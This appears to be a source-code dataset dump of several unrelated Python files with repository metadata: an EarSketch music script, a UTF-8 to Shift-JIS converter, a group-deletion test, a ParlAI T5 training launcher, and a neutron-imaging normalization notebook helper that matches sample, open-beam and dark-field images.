#Code # python code # script_name: hello # # author: Siddharth # description: composition # # set up from earsketch import * # Initialized init() setTempo(120) # varible chord = RD_UK_HOUSE__5THCHORD_2 secondarybeat = HIPHOP_BASSSUB_001 mainbeat = HOUSE_MAIN_BEAT_003 # Music fitMedia(chord, 1, 1, 16) setEffect(1, VOLUME, GAIN, -60, 1, 5, 12) setEffect(1, VOLUME, GAIN, 5, 12, -60, 16) fitMedia(secondarybeat, 2, 1, 12) setEffect(2, DELAY, DELAY_TIME, 500) fitMedia(mainbeat, 3, 1, 8) setEffect(2, REVERB, REVERB_TIME, 200) # Finish finish()

17.030303

42

0.709964

81

562

4.765432

0.62963

0.051813

0.082902

0.103627

0

0.09636

0.169039

562

33

43

17.030303

0.730193

0.233096

0

1

0

false

0

0.071429

0

0.071429

0

null

0

null

0

1

0

759a621d0c21d47983881f0990e0d95c9d89af8b

575

py

Python

utf8_to_sjis.py

yo16/utf8_to_sjis

a0ea7205a2acb96743ca8cb24c38cf1db2cb0ffb

[ "MIT" ]

null

utf8_to_sjis.py

yo16/utf8_to_sjis

a0ea7205a2acb96743ca8cb24c38cf1db2cb0ffb

[ "MIT" ]

null

utf8_to_sjis.py

yo16/utf8_to_sjis

a0ea7205a2acb96743ca8cb24c38cf1db2cb0ffb

[ "MIT" ]

null

import codecs import os codecs.register_error('none', lambda e: ('?', e.end)) def utf8_to_sjis(files, in_dir, out_dir): os.makedirs(out_dir, exist_ok=True) for f in files: utf8_to_sjis_one(f, in_dir, out_dir) def utf8_to_sjis_one(file, in_dir, out_dir): with open(f'{in_dir}/{file}', mode='r', encoding='utf-8') as fi: with open(f'{out_dir}/{file}', mode='w', encoding='sjis', errors='none') as fo: fo.write(fi.read()) if __name__=='__main__': files = [ 'test_file.csv' ] in_dir = 'in_utf8' out_dir = 'sjis' utf8_to_sjis(files, in_dir, out_dir)

19.166667

81

0.673043

104

575

3.384615

0.423077

0.119318

0.113636

0.125

0.147727

0

0.01227

0.149565

575

29

82

19.827586

0.707566

0

0.144852

0

1

0.111111

false

0

0.111111

0

0.222222

0

null

0

null

0

1

0

759ce6e746deead9ce63c2abe9211efd40789622

904

py

Python

tests/test_group_deletion.py

igoldin74/python_for_testers

c992f85f7b08487e79c4c45ab86e0fdeb2c47b20

[ "Apache-2.0" ]

null

tests/test_group_deletion.py

igoldin74/python_for_testers

c992f85f7b08487e79c4c45ab86e0fdeb2c47b20

[ "Apache-2.0" ]

null

tests/test_group_deletion.py

igoldin74/python_for_testers

c992f85f7b08487e79c4c45ab86e0fdeb2c47b20

[ "Apache-2.0" ]

null

import random from model.group import Group def test_group_removal(app, db, check_ui): old_group_list = db.get_group_list() group = random.choice(old_group_list) if len(db.get_group_list()) == 0: app.group.create(Group(name="test_group_random_name", header="random_header", footer="random_footer")) app.group.delete_group_by_id(group.id) assert app.group.count() == len(old_group_list) - 1 new_group_list = db.get_group_list() old_group_list.remove(group) assert old_group_list == new_group_list if check_ui: # this will execute when "--check_ui" run option is added def clean(group): # this func removes spaces from group names return Group(id=group.id, name=group.name.strip()) db_list = map(clean, new_group_list) assert sorted(db_list, key=Group.id_or_max) == sorted(app.group.get_group_list(), key=Group.id_or_max)

45.2

110

0.713496

145

904

4.151724

0.351724

0.179402

0.099668

0.069767

0.139535

0

0.002677

0.173673

904

19

111

47.578947

0.803213

0.107301

0

0.059701

0.027363

0

0.176471

1

0.117647

false

0

0.117647

0.058824

0.294118

0

null

0

null

0

1

0

759d23943bc7a51dc76aa89f5a85cc113775bdad

1,946

py

Python

projects/wizard_of_wikipedia_ko/generator/train_end2end.py

kimsan0622/anonymous_kowow

25f55add8e657b2186dfdedca3e5035b567b235e

[ "MIT" ]

2

2021-09-06T16:58:53.000Z

2022-01-14T04:17:48.000Z

projects/wizard_of_wikipedia_ko/generator/train_end2end.py

kimsan0622/anonymous_kowow

25f55add8e657b2186dfdedca3e5035b567b235e

[ "MIT" ]

null

projects/wizard_of_wikipedia_ko/generator/train_end2end.py

kimsan0622/anonymous_kowow

25f55add8e657b2186dfdedca3e5035b567b235e

[ "MIT" ]

1

2022-01-14T09:01:41.000Z

#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from parlai.scripts.train_model import setup_args, TrainLoop if __name__ == '__main__': parser = setup_args() parser.set_defaults( task='wizard_of_wikipedia_ko:generator:train', model='projects.wizard_of_wikipedia_ko.generator.t5:T5EndToEndAgent', model_file='/tmp/end2end_generator/model', t5_model_arch='pretrained_model/t5.1.1.base.gin_ke.ke_v100_span_corruption_600K', text_truncate=256, ln='ko', log_every_n_secs=10, validation_patience=12, validation_metric='ppl', validation_metric_mode='min', validation_every_n_epochs=0.5, truncate=256, max_knowledge=32, knowledge_alpha=0.95, knowledge_truncate=64, learningrate=5e-4, warmup_updates=5000, clip=0.1, lr_scheduler='invsqrt', embedding_type='fasttext', beam_size=1, skip_generation=False, batchsize=64, ) TrainLoop(parser.parse_args()).train() # parlai train_model -m projects.wizard_of_wikipedia_ko.generator.t5:T5EndToEndAgent -mf model/ke-t5_test -t wizard_of_wikipedia_ko:generator:random_split --ln en -bs 4 -eps 1 -lr 1e-5 --num-epochs 1 --optimizer adam --t5-model-arch pretrained_model/t5.1.1.base.gin_ke.ke_v100_span_corruption_600K --text_truncate 512 # parlai train_model -t wizard_of_wikipedia_ko:generator:random_split --ln ke_mix -m projects.wizard_of_wikipedia_ko.generator.t5:T5EndToEndAgent -mf model/ke-t5_test --t5-model-arch ../pretrained_model/t5.1.1.base.gin_ke.ke_v100_span_corruption_600K --log-every-n-secs 10 --validation-patience 12 --validation-metric ppl --validation-metric-mode min --validation-every-n-epochs 0.5 -bs 4 --max_knowledge 32 --num-epochs 1

48.65

424

0.722508

286

1,946

4.632867

0.426573

0.036226

0.076981

0.086038

0.541887

0.520755

0.480755

0.417358

0

0.054523

0.170606

1,946

40

424

48.65

0.766419

0.476876

0

0.218379

0.187747

0

1

0

false

0

0.034483

0

0.034483

0

null

0

null

0

1

0

759dbd8419466a5b58d9ed3efce98d055fc109cf

37,914

py

Python

notebooks/__code/normalization/normalization_with_simplify_selection.py

mabrahamdevops/python_notebooks

6d5e7383b60cc7fd476f6e85ab93e239c9c32330

[ "BSD-3-Clause" ]

null

notebooks/__code/normalization/normalization_with_simplify_selection.py

mabrahamdevops/python_notebooks

6d5e7383b60cc7fd476f6e85ab93e239c9c32330

[ "BSD-3-Clause" ]

null

notebooks/__code/normalization/normalization_with_simplify_selection.py

mabrahamdevops/python_notebooks

6d5e7383b60cc7fd476f6e85ab93e239c9c32330

[ "BSD-3-Clause" ]

null

import os import collections import numpy as np from ipywidgets import widgets from IPython.core.display import display, HTML import logging from NeuNorm.normalization import Normalization from __code import file_handler from __code.ipywe import myfileselector from __code.normalization.get import Get from __code.normalization.metadata_handler import MetadataHandler, MetadataName, METADATA_KEYS from __code.normalization import utilities JSON_DEBUGGING = False MAX_DF_COUNTS_ALLOWED = 900 METADATA_ERROR_ALLOWED = 1 LIST_METADATA_NOT_INSTRUMENT_RELATED = ['filename', 'time_stamp', 'time_stamp_user_format'] class NormalizationWithSimplifySelection: working_dir = '' def __init__(self, working_dir=''): self.working_dir = working_dir self.list_of_images = [] self.input_data_folder = [] # {0: {65027: 55.0, # 65028: 59.2, # 65029: 1.0, # 'filename': 'full_filename', # 'time_stamp': 1454544.34545, # 'time_stamp_user_format': '2019-11-19 02:48:47'}, # ..., # } self.sample_metadata_dict = {} self.ob_metadata_dict = {} self.df_metadata_dict = {} # key of dictionary being the acquisition time # {50: {'config0': {'list_sample': [self.sample_metadata_dict[0], # self.sample_metadata_dict[1],..], # 'list_ob': [self.ob_metadata_dict[0], # self.ob_metadata_dict[1], # ...], # 'list_df': [file1, file2, file3], # 'metadata_infos': {}, # 'first_images': {'sample': {}, # 'ob': {}, # 'df': {}}, # 'last_images': {'sample': {}, # 'ob': {}, # 'df': {}}, # 'time_range_s_selected': {'before': np.NaN, # 'after': np.NaN}, # 'time_range_s': {'before': np.NaN, # 'after': np.NaN}, # }, # 'config1': {...}, # }, # 30: {...}, # } self.final_full_master_dict = {} # same as the final_full_master_dict but in this one, the OB outside the time range # defined as excluded self.final_with_time_range_master_dict = {} o_get = Get(parent=self) log_file_name = o_get.log_file_name() logging.basicConfig(filename=log_file_name, filemode='w', format='[%(levelname)s] - %(asctime)s - %(message)s', level=logging.INFO) # logging.INFO, logging.DEBUG logging.info("*** Starting new session ***") def select_sample_folder(self): folder_sample_widget = myfileselector.MyFileSelectorPanel(instruction='select folder of images to normalize', start_dir=self.working_dir, next=self.retrieve_sample_metadata_from_sample_folder, type='directory', multiple=False) folder_sample_widget.show() def retrieve_sample_metadata_from_sample_folder(self, sample_folder): logging.info(f"select sample folder: {sample_folder}") [list_of_images, _] = file_handler.retrieve_list_of_most_dominant_extension_from_folder(folder=sample_folder) can_we_continue = self.images_files_found_in_list(list_of_images) if can_we_continue: logging.info(f"-> number of images found: {len(list_of_images)}") self.retrieve_sample_metadata(list_of_images) else: logging.info(f"-> No images found!") display(HTML('<span style="font-size: 20px; color:Red">No images found in the folder selected!</span>')) def images_files_found_in_list(self, list_of_images): for _file in list_of_images: if (".tiff" in _file) or (".tif" in _file) or (".fits" in _file): return True return False def retrieve_sample_metadata(self, list_of_images): __name__ = "retrieve_sample_metadata" logging.info(f"Retrieving sample metadata ({__name__})") self.list_of_images = list_of_images self.sample_metadata_dict = MetadataHandler.retrieve_metadata(list_of_files=list_of_images, display_infos=False, label='sample') # logging.info(f"self.sample_metadata_dict: {self.sample_metadata_dict}") self.auto_retrieve_ob_metadata() self.auto_retrieve_df_metadata() self.match_files() self.calculate_first_and_last_ob() self.calculate_time_range() self.display_time_range_selection_widgets() def select_ob_folder(self): self.select_folder(message='open beam', next_function=self.retrieve_ob_metadata()) def retrieve_ob_metadata(self, selected_folder): list_of_ob_files = Get.list_of_tiff_files(folder=selected_folder) self.ob_metadata_dict = MetadataHandler.retrieve_metadata(list_of_files=list_of_ob_files) def auto_retrieve_ob_metadata(self): logging.info(f"> auto_retrieve_ob_metadata") folder = os.path.join(self.working_dir, 'raw', 'ob') logging.info(f"-> folder: {folder}") list_of_ob_files = file_handler.get_list_of_all_files_in_subfolders(folder=folder, extensions=['tiff', 'tif']) logging.info(f"-> nbr of ob files found: {len(list_of_ob_files)}") self.ob_metadata_dict = MetadataHandler.retrieve_metadata(list_of_files=list_of_ob_files, label='ob') # logging.info(f"ob metadata dict") # logging.info(f"-> {self.ob_metadata_dict}") def select_folder(self, message="", next_function=None): folder_widget = myfileselector.MyFileSelectorPanel(instruction='select {} folder'.format(message), start_dir=self.working_dir, next=next_function, type='directory', multiple=False) folder_widget.show() def select_df_folder(self): self.select_folder(message='dark field', next_function=self.retrieve_df_metadata()) def retrieve_df_metadata(self, selected_folder): list_of_df_files = Get.list_of_tiff_files(folder=selected_folder) self.df_metadata_dict = MetadataHandler.retrieve_metadata(list_of_files=list_of_df_files) def auto_retrieve_df_metadata(self): folder = os.path.join(self.working_dir, 'raw', 'df') list_of_df_files = file_handler.get_list_of_all_files_in_subfolders(folder=folder, extensions=['tiff', 'tif']) logging.info(f"-> nbr of df files found: {len(list_of_df_files)}") self.df_metadata_dict = MetadataHandler.retrieve_metadata(list_of_files=list_of_df_files, label='df') def match_files(self): """This is where the files will be associated with their respective OB, DF by using the metadata""" if not JSON_DEBUGGING: self.create_master_sample_dict() self.match_ob() self.match_df() if JSON_DEBUGGING: # for debugging only, exporting the json import json with open('/Users/j35/Desktop/which_ob_and_df_to_use.json', 'w') as outfile: json.dump(self.final_full_master_dict, outfile) def match_ob(self): """we will go through all the ob and associate them with the right sample based on - acquisition time - detector type - aperture """ list_ob_dict = self.ob_metadata_dict final_full_master_dict = self.final_full_master_dict list_of_sample_acquisition = final_full_master_dict.keys() for _index_ob in list_ob_dict.keys(): _all_ob_instrument_metadata = Get.get_instrument_metadata_only(list_ob_dict[_index_ob]) _ob_instrument_metadata = utilities.isolate_instrument_metadata( _all_ob_instrument_metadata) _acquisition_time = _all_ob_instrument_metadata[MetadataName.EXPOSURE_TIME.value]['value'] if _acquisition_time in list_of_sample_acquisition: for _config_id in final_full_master_dict[_acquisition_time].keys(): _sample_metadata_infos = final_full_master_dict[_acquisition_time][_config_id]['metadata_infos'] if utilities.all_metadata_match(_sample_metadata_infos, _ob_instrument_metadata): final_full_master_dict[_acquisition_time][_config_id]['list_ob'].append(list_ob_dict[_index_ob]) self.final_full_master_dict = final_full_master_dict def match_df(self): """ we will go through all the df of the IPTS and will associate the df with the right samples based on: - detector type used - acquisition time """ list_df_dict = self.df_metadata_dict final_full_master_dict = self.final_full_master_dict list_of_sample_acquisition = final_full_master_dict.keys() for _index_df in list_df_dict.keys(): _all_df_instrument_metadata = Get.get_instrument_metadata_only(list_df_dict[_index_df]) _df_instrument_metadata = utilities.isolate_instrument_metadata( _all_df_instrument_metadata) _acquisition_time = _all_df_instrument_metadata[MetadataName.EXPOSURE_TIME.value]['value'] if _acquisition_time in list_of_sample_acquisition: for _config_id in final_full_master_dict[_acquisition_time].keys(): _sample_metadata_infos = final_full_master_dict[_acquisition_time][_config_id]['metadata_infos'] if utilities.all_metadata_match(_sample_metadata_infos, _df_instrument_metadata, list_key_to_check=[METADATA_KEYS['df'][ 1].value]): final_full_master_dict[_acquisition_time][_config_id]['list_df'].append(list_df_dict[_index_df]) self.final_full_master_dict = final_full_master_dict def create_master_sample_dict(self): final_full_master_dict = collections.OrderedDict() sample_metadata_dict = self.sample_metadata_dict # we need to keep record of which image was the first one taken and which image was the last one taken first_sample_image = sample_metadata_dict[0] last_sample_image = sample_metadata_dict[0] for _file_index in sample_metadata_dict.keys(): _dict_file_index = sample_metadata_dict[_file_index] _sample_file = _dict_file_index['filename'] _acquisition_time = _dict_file_index[MetadataName.EXPOSURE_TIME.value]['value'] _instrument_metadata = utilities.isolate_instrument_metadata(_dict_file_index) _sample_time_stamp = _dict_file_index['time_stamp'] # find which image was first and which image was last if _sample_time_stamp < first_sample_image['time_stamp']: first_sample_image = _dict_file_index elif _sample_time_stamp > last_sample_image['time_stamp']: last_sample_image = _dict_file_index # first entry or first time seeing that acquisition time if (len(final_full_master_dict) == 0) or not (_acquisition_time in final_full_master_dict.keys()): _first_images_dict = {'sample': first_sample_image, 'ob' : {}, 'df' : {}} _last_images_dict = {'sample': last_sample_image, 'ob' : {}, 'df' : {}} _temp_dict = {'list_sample' : [_dict_file_index], 'first_images' : _first_images_dict, 'last_images' : _last_images_dict, 'list_ob' : [], 'list_df' : [], 'time_range_s_selected': {'before': np.NaN, 'after' : np.NaN}, 'time_range_s' : {'before': np.NaN, 'after' : np.NaN}, 'metadata_infos' : Get.get_instrument_metadata_only( _instrument_metadata)} final_full_master_dict[_acquisition_time] = {} final_full_master_dict[_acquisition_time]['config0'] = _temp_dict else: # check that all the metadata_infos match for the first group of that acquisition time, # otherwise check the next one or create a group if _acquisition_time in final_full_master_dict.keys(): _dict_for_this_acquisition_time = final_full_master_dict[_acquisition_time] _found_a_match = False for _config_key in _dict_for_this_acquisition_time.keys(): _config = _dict_for_this_acquisition_time[_config_key] if (utilities.all_metadata_match(metadata_1=_config['metadata_infos'], metadata_2=_instrument_metadata)): _config['list_sample'].append(_dict_file_index) _first_images_dict = {'sample': first_sample_image, 'ob' : {}, 'df' : {}} _last_images_dict = {'sample': last_sample_image, 'ob' : {}, 'df' : {}} _config['first_images'] = _first_images_dict _config['last_images'] = _last_images_dict _found_a_match = True if not _found_a_match: _first_images_dict = {'sample': first_sample_image, 'ob' : {}, 'df' : {}} _last_images_dict = {'sample': last_sample_image, 'ob' : {}, 'df' : {}} _temp_dict = {'list_sample' : [_dict_file_index], 'first_images' : _first_images_dict, 'last_images' : _last_images_dict, 'list_ob' : [], 'list_df' : [], 'time_range_s_selected': {'before': np.NaN, 'after' : np.NaN}, 'time_range_s' : {'before': np.NaN, 'after' : np.NaN}, 'metadata_infos' : Get.get_instrument_metadata_only( _instrument_metadata)} nbr_config = len(_dict_for_this_acquisition_time.keys()) _dict_for_this_acquisition_time['config{}'.format(nbr_config)] = _temp_dict else: _first_images_dict = {'sample': first_sample_image, 'ob' : {}, 'df' : {}} _last_images_dict = {'sample': last_sample_image, 'ob' : {}, 'df' : {}} _temp_dict = {'list_sample' : [_dict_file_index], 'first_images' : _first_images_dict, 'last_images' : _last_images_dict, 'list_ob' : [], 'list_df' : [], 'time_range_s_selected': {'before': np.NAN, 'after' : np.NaN}, 'time_range_s' : {'before': np.NaN, 'after' : np.NaN}, 'metadata_infos' : Get.get_instrument_metadata_only( _instrument_metadata)} final_full_master_dict[_acquisition_time] = {} final_full_master_dict[_acquisition_time]['config0'] = _temp_dict self.final_full_master_dict = final_full_master_dict def calculate_first_and_last_ob(self): """this will loop through all the acquisition time keys, and config keys, to figure out what is the first ob and last ob in this dictionary""" _final_full_master_dict = self.final_full_master_dict for _acquisition in _final_full_master_dict.keys(): current_acquisition_dict = _final_full_master_dict[_acquisition] _first_ob_time = np.NaN _first_ob = {} _last_ob_time = np.NaN _last_ob = {} for _config in current_acquisition_dict.keys(): current_acquisition_config_dict = current_acquisition_dict[_config] for _ob in current_acquisition_config_dict['list_ob']: _current_ob_time = _ob['time_stamp'] if np.isnan(_first_ob_time): _first_ob_time = _current_ob_time _last_ob_time = _current_ob_time _first_ob = _last_ob = _ob elif _current_ob_time < _first_ob_time: _first_ob_time = _current_ob_time _first_ob = _ob elif _current_ob_time > _last_ob_time: _last_ob_time = _current_ob_time _last_ob = _ob current_acquisition_config_dict['first_images']['ob'] = _first_ob current_acquisition_config_dict['last_images']['ob'] = _last_ob def calculate_time_range(self): """this method will calculate the max time range of OB taken before or after and will use that for the slider selection time range Provide option to use all (that means, do not used any time range) """ _final_full_master_dict = self.final_full_master_dict for _acquisition in _final_full_master_dict.keys(): current_acquisition_dict = _final_full_master_dict[_acquisition] for _config in current_acquisition_dict.keys(): current_acquisition_config_dict = current_acquisition_dict[_config] first_sample_image = current_acquisition_config_dict['first_images']['sample'] first_ob_image = current_acquisition_config_dict['first_images']['ob'] delta_time_before = first_sample_image.get('time_stamp', 0) - first_ob_image.get('time_stamp', 0) _time_range_s_before = delta_time_before if delta_time_before > 0 else 0 last_sample_image = current_acquisition_config_dict['last_images']['sample'] last_ob_image = current_acquisition_config_dict['last_images']['ob'] delta_time_after = last_ob_image.get('time_stamp', 0) - last_sample_image.get('time_stamp', 0) _time_range_s_after = delta_time_after if delta_time_after > 0 else 0 _final_full_master_dict[_acquisition][_config]['time_range_s']['before'] = _time_range_s_before _final_full_master_dict[_acquisition][_config]['time_range_s']['after'] = _time_range_s_after def display_time_range_selection_widgets(self): _final_full_master_dict = self.final_full_master_dict _config_tab_dict = {} # will keep record of each config tab for each acquisition _acquisition_tabs = widgets.Tab() o_get = Get(parent=self) for _acquisition_index, _acquisition in enumerate(_final_full_master_dict.keys()): _dict_of_this_acquisition = _final_full_master_dict[_acquisition] _config_tab = widgets.Tab() _current_acquisition_tab_widgets_id = {'config_tab_id': _config_tab} for _index, _config in enumerate(_dict_of_this_acquisition.keys()): _dict_config = _dict_of_this_acquisition[_config] _dict = o_get.full_layout_for_this_config(_dict_config) _layout = _dict['verti_layout'] _config_widgets_id_dict = _dict['config_widgets_id_dict'] _config_tab.children += (_layout,) _config_tab.set_title(_index, _config) _current_acquisition_tab_widgets_id[_index] = _config_widgets_id_dict _config_tab_dict[_acquisition_index] = _current_acquisition_tab_widgets_id _acquisition_tabs.children += (_config_tab,) # add all the config tab to top acquisition tab _acquisition_tabs.set_title(_acquisition_index, "Acquisition: {}s".format(_acquisition)) _config_tab display(_acquisition_tabs) self.acquisition_tab = _acquisition_tabs self.config_tab_dict = _config_tab_dict def calculate_max_time_before_and_after_exp_for_this_config(self, dict_config): max_time_before = 0 first_sample_image_time_stamp = dict_config['first_images']['sample']['time_stamp'] first_ob_image_time_stamp = dict_config['first_images']['ob'].get('time_stamp', 0) if first_ob_image_time_stamp > first_sample_image_time_stamp: max_time_before = 0 else: max_time_before = (first_sample_image_time_stamp - first_ob_image_time_stamp) max_time_after = 0 last_sample_image_time_stamp = dict_config['last_images']['sample']['time_stamp'] last_ob_image_time_stamp = dict_config['last_images']['ob'].get('time_stamp', 0) if last_ob_image_time_stamp < last_sample_image_time_stamp: max_time_after = 0 else: max_time_after = last_ob_image_time_stamp - last_sample_image_time_stamp return [max_time_before, max_time_after] def populate_metadata_table(self, current_config): metadata_config = current_config['metadata_infos'] table_label = widgets.Label("List of Metadata used to match data set", layout=widgets.Layout(width='30%')) table_value = "<table style='width:50%;background-color:#eee'>" for _key, _value in metadata_config.items(): table_value += "<tr><th>{}</th><th>{}</th></tr>".format(_value['name'], _value['value']) table_value += "</table>" table = widgets.HTML(value=table_value) return [table_label, table] def update_use_this_config_widget(self, state): pass # new_state = state['new'] # [active_acquisition, active_config] = self.get_active_tabs() # self.config_tab_dict[active_acquisition][active_config]['normalize_this_config'] = new_state def update_config_widgets(self, state): if state['new'] is False: # use all files message = None visibility = 'hidden' else: # user defines ranges message = True visibility = 'visible' o_get = Get(parent=self) [time_before_selected_ui, time_after_selected_ui] = o_get.time_before_and_after_ui_of_this_config() experiment_label_ui = o_get.experiment_label_ui_of_this_config() experiment_label_ui.layout.visibility = visibility if visibility == 'hidden': time_before_selected_ui.layout.visibility = 'hidden' time_after_selected_ui.layout.visibility = 'hidden' else: self.show_or_not_before_and_after_sliders() self.update_time_range_event(message) def show_or_not_before_and_after_sliders(self): o_get = Get(parent=self) current_config = o_get.current_config_dict() [max_time_elapse_before_experiment, max_time_elapse_after_experiment] = \ self.calculate_max_time_before_and_after_exp_for_this_config(current_config) slider_before_visibility = 'visible' if max_time_elapse_before_experiment > 0 else 'hidden' slider_after_visibility = 'visible' if max_time_elapse_after_experiment > 0 else 'hidden' [time_before_selected_ui, time_after_selected_ui] = o_get.time_before_and_after_ui_of_this_config() time_before_selected_ui.layout.visibility = slider_before_visibility time_after_selected_ui.layout.visibility = slider_after_visibility def is_custom_time_range_checked_for_this_config(self): o_get = Get(parent=self) current_config = o_get.current_config_of_widgets_id() return current_config['use_custom_time_range_checkbox'].value def update_time_range_event(self, value): # reach when user interact with the sliders in the config tab self.update_time_range_message(value) self.update_list_of_files_in_widgets_using_new_time_range() def update_list_of_files_in_widgets_using_new_time_range(self): o_get = Get(parent=self) # retrieve acquisition and config values acquisition_key = o_get.active_tab_acquisition_key() # ex: '55.0' config_key = o_get.active_tab_config_key() # ex: 'config0' # retrieve list of ob and df for this config for this acquisition final_full_master_dict = self.final_full_master_dict dict_for_this_config = final_full_master_dict[float(acquisition_key)][config_key] list_ob = dict_for_this_config['list_ob'] # no need to do anything more if user wants to use all the files if not self.is_custom_time_range_checked_for_this_config(): list_ob_to_keep = [_file['filename'] for _file in list_ob] else: # retrieve first and last sample file for this config and for this acquisition first_sample_image_time_stamp = dict_for_this_config['first_images']['sample']['time_stamp'] last_sample_images_time_stamp = dict_for_this_config['last_images']['sample']['time_stamp'] # retrieve time before and after selected [time_before_selected, time_after_selected] = o_get.time_before_and_after_of_this_config() # calculate list of ob that are within that time range list_ob_to_keep = [] for _ob_file in list_ob: _ob_time_stamp = _ob_file['time_stamp'] if (_ob_time_stamp < first_sample_image_time_stamp) and \ ((first_sample_image_time_stamp - _ob_time_stamp) <= np.abs(time_before_selected)): list_ob_to_keep.append(_ob_file['filename']) elif (_ob_time_stamp > last_sample_images_time_stamp) and \ ((_ob_time_stamp - last_sample_images_time_stamp) <= np.abs(time_after_selected)): list_ob_to_keep.append(_ob_file['filename']) self.update_list_of_ob_for_current_config_tab(list_ob=list_ob_to_keep) def update_list_of_ob_for_current_config_tab(self, list_ob=[]): o_get = Get(parent=self) [active_acquisition, active_config] = o_get.active_tabs() # short_version_list_ob = NormalizationWithSimplifySelection.keep_basename_only(list_files=list_ob) self.config_tab_dict[active_acquisition][active_config]['list_of_ob'].options = list_ob # select everything by default self.config_tab_dict[active_acquisition][active_config]['list_of_ob'].value = list_ob def update_time_range_message(self, value): o_get = Get(parent=self) if value is None: _message = "Use <b><font color='red'>All </b> " \ "<font color='black'>OBs and DFs " \ "matching the samples images</font>" else: [time_before_selected, time_after_selected] = o_get.time_before_and_after_of_this_config() time_before_selected = np.abs(time_before_selected) def _format_time(_time_s): if _time_s < 60: return "{:.2f}s".format(_time_s) elif _time_s < 3600: _time_mn = int(_time_s / 60.) _time_s = int(_time_s % 60) return "{:d}mn {:d}s".format(_time_mn, _time_s) else: _time_hr = int(_time_s / 3600.) _time_s_left = _time_s - _time_hr * 3600 _time_mn = int(_time_s_left / 60.) _time_s = int(_time_s_left % 60) return "{:d}hr {:d}mn {:d}s".format(_time_hr, _time_mn, _time_s) str_time_before = _format_time(time_before_selected) str_time_after = _format_time(time_after_selected) logging.info(f"str_time_before: {time_before_selected} -> {str_time_before}") _message = "Use OB taken up to <b><font color='red'>" + str_time_before + "</b> " \ "<font color='black'>before and up to </font>" \ "<b><font color='red'>" + str_time_after + "</b> " \ "<font color='black'>after experiment!</font>" time_before_and_after_message_ui = o_get.time_before_and_after_message_ui_of_this_config() time_before_and_after_message_ui.value = _message def checking_normalization_workflow(self): self.create_final_json() self.normalization_recap() def create_final_json(self): _final_full_master_dict = self.final_full_master_dict _config_tab_dict = self.config_tab_dict _final_json_dict = {} for _acquisition_index, _acquisition in enumerate(_final_full_master_dict.keys()): _final_json_for_this_acquisition = {} _config_of_this_acquisition = _config_tab_dict[_acquisition_index] _dict_of_this_acquisition = _final_full_master_dict[_acquisition] for _config_index, _config in enumerate(_dict_of_this_acquisition.keys()): this_config_tab_dict = _config_tab_dict[_acquisition_index][_config_index] normalize_flag = this_config_tab_dict['use_this_config'] list_sample = this_config_tab_dict['list_of_sample_runs'].options list_ob = this_config_tab_dict['list_of_ob'].value list_df = this_config_tab_dict['list_of_df'].value _final_json_for_this_acquisition[_config] = {'list_sample' : list_sample, 'list_df' : list_df, 'list_ob' : list_ob, 'normalize_this_config': normalize_flag} _final_json_dict[_acquisition] = _final_json_for_this_acquisition self.final_json_dict = _final_json_dict def normalization_recap(self): """this will show all the config that will be run and if they have the minimum requirements or not, which mean, at least 1 OB""" final_json = self.final_json_dict self.number_of_normalization = 0 table = "<table style='width:50%;border:1px solid black'>" table += "<tr style='background-color:#eee'><th>Acquisition (s)</th><th>Config. name</th>" \ "<th>Nbr sample</th><th>Nbr OB</th><th>Nbr DF</th><th>Status</th></tr>" for _name_acquisition in final_json.keys(): _current_acquisition_dict = final_json[_name_acquisition] for _name_config in _current_acquisition_dict.keys(): _current_config_dict = _current_acquisition_dict[_name_config] normalize_this_config = _current_config_dict['normalize_this_config'] nbr_ob = len(_current_config_dict['list_ob']) nbr_df = len(_current_config_dict['list_df']) nbr_sample = len(_current_config_dict['list_sample']) self.number_of_normalization += 1 if nbr_ob > 0 else 0 table += utilities.populate_normalization_recap_row( acquisition=_name_acquisition, config=_name_config, nbr_sample=nbr_sample, nbr_ob=nbr_ob, nbr_df=nbr_df, normalize_this_config=normalize_this_config) table += "</table>" table_ui = widgets.HTML(table) display(table_ui) def select_output_folder(self): self.output_folder_ui = myfileselector.FileSelectorPanelWithJumpFolders( instruction='select where to create the ' + \ 'normalized folders', start_dir=self.working_dir, ipts_folder=self.working_dir, next=self.normalization, type='directory', newdir_toolbar_button=True) def normalization(self, output_folder): display(HTML('<span style="font-size: 20px; color:blue">Make sure you do not close the notebook until' 'the busy signal (dark circle top right) is is gone!</span>')) self.output_folder_ui.shortcut_buttons.close() # hack to hide the buttons final_json = self.final_json_dict number_of_normalization = self.number_of_normalization horizontal_layout = widgets.HBox([widgets.Label("Normalization progress", layout=widgets.Layout(width='20%')), widgets.IntProgress(max=number_of_normalization + 1, value=0, layout=widgets.Layout(width='50%'))]) normalization_progress = horizontal_layout.children[1] display(horizontal_layout) list_full_output_normalization_folder_name = [] for _name_acquisition in final_json.keys(): _current_acquisition_dict = final_json[_name_acquisition] for _name_config in _current_acquisition_dict.keys(): _current_config = _current_acquisition_dict[_name_config] list_ob = _current_config['list_ob'] if len(list_ob) == 0: normalization_progress.value += 1 continue if not _current_config['normalize_this_config'].value: normalization_progress.value += 1 continue list_sample = _current_config['list_sample'] full_output_normalization_folder_name = \ utilities.make_full_output_normalization_folder_name( output_folder=output_folder, first_sample_file_name=list_sample[0], name_acquisition=_name_acquisition, name_config=_name_config) list_full_output_normalization_folder_name.append(full_output_normalization_folder_name) list_df = _current_config['list_df'] o_load = Normalization() o_load.load(file=list(list_sample), notebook=True) o_load.load(file=list(list_ob), data_type='ob') if len(list_df) > 0: o_load.load(file=list(list_df), data_type='df') o_load.normalization() o_load.export(folder=full_output_normalization_folder_name, file_type='tif') del o_load normalization_progress.value += 1 horizontal_layout.close() display(HTML('<span style="font-size: 20px; color:blue">Following folders have been created:</span>')) for _folder in list_full_output_normalization_folder_name: _folder = _folder if _folder else "None" display(HTML('<span style="font-size: 15px; color:blue"> -> ' + _folder + '</span>'))

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759e0a9f6bfd13dc1e30f52a13990d9895e8e99e

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py

Python

backups_manager_lib_test_util.py

cantstopthesignal/backups_lib

dec602fc90d285b8581af35e514eb90309b6da89

[ "Apache-2.0" ]

null

backups_manager_lib_test_util.py

cantstopthesignal/backups_lib

dec602fc90d285b8581af35e514eb90309b6da89

[ "Apache-2.0" ]

null

backups_manager_lib_test_util.py

cantstopthesignal/backups_lib

dec602fc90d285b8581af35e514eb90309b6da89

[ "Apache-2.0" ]

null

